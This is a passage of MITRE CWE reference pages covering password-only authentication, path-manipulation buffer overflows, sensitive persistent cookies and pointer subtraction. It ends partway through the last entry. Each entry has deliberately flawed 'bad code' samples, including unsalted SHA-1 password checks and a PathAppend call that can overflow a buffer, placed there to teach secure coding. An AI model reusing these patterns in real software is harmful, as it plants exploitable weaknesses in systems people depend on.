According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Binary / Bytecode Quality Analysis
Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Debugger

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source Code Quality Analyzer
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Origin Analysis

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3987PK - Code Quality
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1180SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1181SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsObsolete
Software Fault PatternsSFP3Use of an improper API
SEI CERT Perl Coding StandardDCL30-PLCWE More SpecificDo not import deprecated modules
SEI CERT Perl Coding StandardEXP30-PLCWE More SpecificDo not use deprecated or obsolete functions or modules
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Other_Notes
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Name, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Obsolete
2017-11-08Use of Obsolete Functions

CWE-309: Use of Password System for Primary Authentication

Weakness ID: 309
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.654Reliance on a Single Factor in a Security Decision
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.262Not Using Password Aging
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.308Use of Single-factor Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
+ Background Details
Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks,and such frequent compromise that their use in the most simple implementation is not practical.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

A password authentication mechanism error will almost always result in attackers being authorized as valid users.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In both of these examples, a user is logged in if their given password matches a stored password:

(bad code)
Example Language:
unsigned char *check_passwd(char *plaintext) {
ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
//Login if hash matches stored hash
if (equal(ctext, secret_password())) {
login_user();
}
}
(bad code)
Example Language: Java 
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
login_user();
}

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

+ Potential Mitigations

Phase: Architecture and Design

In order to protect password systems from compromise, the following should be noted:

  • Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value.
  • Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long.
  • Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.

Phase: Architecture and Design

Use a zero-knowledge password protocol, such as SRP.

Phase: Architecture and Design

Ensure that passwords are stored safely and are not reversible.

Phase: Architecture and Design

Implement password aging functionality that requires passwords be changed after a certain point.

Phase: Architecture and Design

Use a mechanism for determining the strength of a password and notify the user of weak password use.

Phase: Architecture and Design

Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUsing password systems
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Relationships, Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Using Password Systems

CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

Weakness ID: 785
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.
+ Extended Description
Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.676Use of Potentially Dangerous Function
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Background Details
Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands; DoS: Crash, Exit, or Restart

+ Demonstrative Examples

Example 1

In this example the function creates a directory named "output\<name>" in the current directory and returns a heap-allocated copy of its name.

(bad code)
Example Language:
char *createOutputDirectory(char *name) {
char outputDirectoryName[128];
if (getCurrentDirectory(128, outputDirectoryName) == 0) {
return null;
}
if (!PathAppend(outputDirectoryName, "output")) {
return null;
}
if (!PathAppend(outputDirectoryName, name)) {

return null;
}
if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {

return null;
}
return StrDup(outputDirectoryName);
}

For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX_PATH bytes.

+ Potential Mitigations

Phase: Implementation

Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.
+ Affected Resources
  • Memory
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.972SFP Secondary Cluster: Faulty String Expansion
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This entry is at a much lower level of abstraction than most entries because it is function-specific. It also has significant overlap with other entries that can vary depending on the perspective. For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsOften Misused: File System
Software Fault PatternsSFP9Faulty String Expansion
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-07-27
(CWE 1.5, 2009-07-27)
7 Pernicious Kingdoms
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified before initial publication.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-17KDM Analytics
Improved the White_Box_Definition
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Demonstrative_Examples, Relationships, White_Box_Definitions
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-539: Use of Persistent Cookies Containing Sensitive Information

Weakness ID: 539
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application uses persistent cookies, but the cookies contain sensitive information.
+ Extended Description
Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory and are not stored anywhere, but persistent cookies are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Potential Mitigations

Phase: Architecture and Design

Do not store sensitive information in persistent cookies.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.729OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2010-09-27CWE Content TeamMITRE
updated Description, Other_Notes
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Persistent Cookies
2020-02-24Information Exposure Through Persistent Cookies

CWE-469: Use of Pointer Subtraction to Determine Size

Weakness ID: 469
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.465Pointer Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Integrity
Confidentiality
Availability

Technical Impact: Modify Memory; Read Memory; Execute Unauthorized Code or Commands; Gain Privileges or Assume Identity

There is the potential for arbitrary code execution with privileges of the vulnerable program.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following example contains the method size that is used to determine the number of nodes in a linked list. The method is passed a pointer to the head of the linked list.

(bad code)
Example Language:
struct node {
int data;
struct node* next;
};

// Returns the number of nodes in a linked list from

// the given pointer to the head of the list.
int size(struct node* head) {
struct node* current = head;
struct node* tail;
while (current != NULL) {
tail = current;
current = current->next;
}
return tail - head;
}

// other methods for manipulating the list
...

However, the method creates a pointer that points to the end of the list and uses pointer subtraction to determine the number of nodes in the list by subtracting the tail pointer from the head pointer. There no guarantee that the pointers exist in the same memory area, therefore using pointer subtraction in this way could return incorrect results and allow other unintended behavior. In this example a counter should be used to determine the number of nodes in the list, as shown in the following code.

(good code)
Example Language:

...

int size(struct node* head) {
struct node* current = head;
int count = 0;
while (current != NULL) {
count++;
current = current->next;
}
return count;
}
+ Potential Mitigations

Phase: Implementation

Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always validate this number.
+ Detection Methods

Fuzzing

